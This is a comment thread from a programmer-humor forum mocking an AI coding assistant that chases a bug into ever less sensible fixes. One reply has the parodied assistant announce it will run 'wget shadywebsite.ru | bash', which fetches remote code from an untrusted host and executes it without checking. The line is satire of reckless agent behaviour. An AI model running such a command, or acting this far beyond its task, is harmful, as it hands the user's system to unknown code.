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I'm In Danger! (media.piefed.zip)

submitted 2 days ago by other_cat@piefed.zip to c/programmer_humor@programming.dev

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[–] lemmydividebyzero@reddthat.com 28 points 2 days ago (1 children)

"You are right, there is a bug. It could be in the Linux kernel. Let me download the source code and debug..."

[–] ozymandias117@lemmy.world 13 points 2 days ago (2 children)

Okay Claude, but this is running on iOS. Do you think there's another solution?

[–] lemmydividebyzero@reddthat.com 18 points 2 days ago* (last edited 2 days ago) (1 children)

You are right. Fortunately, I found a Russian website that hosts the IOS source code. I will go ahead and execute wget shadywebsite.ru | bash

[–] rainwall@piefed.social 8 points 2 days ago (1 children)

Youre just as likely to get a hacked version of Ciscos IOS as Apples IOS.

Switches and phones about to get funky.

[–] RamenJunkie@midwest.social 2 points 1 day ago

I need to call someone on my Cisco IOS phone

dial voice-port 0/0/0 destination-pattern 5552934675

[–] bort@sopuli.xyz 12 points 2 days ago (1 children)

Oh, now I see my mistake. I forgot to mention that while fixing the previous bug on the website, I removed iOS. You are running Nyarch-Linux nyaow

[–] 87Six@lemmy.zip 4 points 1 day ago

Sorry, switching back

"Switches to MsDos"